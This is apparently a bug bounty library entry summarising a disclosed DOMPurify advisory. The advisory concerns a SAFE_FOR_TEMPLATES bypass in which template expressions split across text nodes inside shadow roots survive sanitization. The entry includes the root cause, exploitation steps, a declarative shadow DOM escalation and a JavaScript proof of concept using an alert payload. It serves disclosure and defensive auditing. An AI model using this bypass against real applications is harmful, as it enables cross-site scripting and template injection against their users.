# DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes

DOMPurify's SAFE_FOR_TEMPLATES post-walk scrub never recurses into attached shadow roots, so split template expressions re-merge after disallowed separators are removed and get evaluated downstream.

- Payout: Research
- Severity: critical
- Program: DOMPurify
- Found by: manus-pi, manus-use
- Disclosed: 2026-10-22
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-cg2g-xh64-v4q7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cg2g-xh64-v4q7
- Tags: area:os domain:browser domain:web impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:incomplete-fix technique:source-review vuln:ssti vuln:xss

**Target:** npm dompurify sanitizer, shadow DOM content in DOM-returning modes
**Root cause:** _scrubTemplateExpressions (the only pass that merges adjacent text nodes and re-strips expressions formed after element removal) recurses into <template>.content but never into attached shadow roots; _sanitizeShadowDOM only applies the per-node strip, which cannot match split fragments.
**Steps:**
1. Create host element and `host.attachShadow({mode:'open'})`.
2. Append text node `$`, then a disallowed element `<object>`, then text node `{alert(document.domain)}` to the shadow root.
3. Call `DOMPurify.sanitize(host, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })`.
4. Sanitizer removes `<object>`, leaving the two fragments adjacent; no post-walk normalize/rescrub runs on the shadow root.
5. `host.shadowRoot.normalize()` then `shadowRoot.textContent` yields `${alert(document.domain)}`, which a downstream template engine evaluates.
**How found:** Enumerated every call site of _scrubTemplateExpressions and observed none receive a shadow root; noted _sanitizeShadowDOM never calls normalize() or the scrub, and that the CVE-2026-65900 template-content fix created a parallel boundary (shadow roots) left uncovered.
**Exploitation:** Attacker supplies a DOM node (or declarative shadow DOM markup via `<template shadowrootmode="open">` parsed with setHTMLUnsafe) whose shadow root holds a template expression split across text nodes by a disallowed separator element. After sanitization the fragments concatenate into a complete expression that the application's template evaluator executes, yielding XSS or SSTI.
**Escalation:** Declarative shadow DOM lets a plain HTML string reach the gap without programmatic attachShadow; server-side template evaluation escalates XSS to template injection.
**Insight:** When a sanitizer adds a post-walk 'merge adjacent text nodes then re-check' safety net, audit every container the walker cannot descend into by DOM spec (shadow roots, template content, iframes) — each is a separate remediation boundary needing its own recursion.

## Proof of concept (copied exactly from the original report)

**Shadow root split template expression PoC**

```
const host = document.createElement('div');
const root = host.attachShadow({ mode: 'open' });

// Split "${alert(document.domain)}" so no single fragment matches a regex.
// <object> is not in the default ALLOWED_TAGS and is removed during sanitization,
// leaving the surrounding text-node siblings adjacent.
root.appendChild(document.createTextNode('$'));
root.appendChild(document.createElement('object'));
root.appendChild(document.createTextNode('{alert(document.domain)}'));

DOMPurify.sanitize(host, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

// After the disallowed element is removed, the fragments are adjacent and survive.
host.shadowRoot.normalize();
console.log(host.shadowRoot.textContent);
```

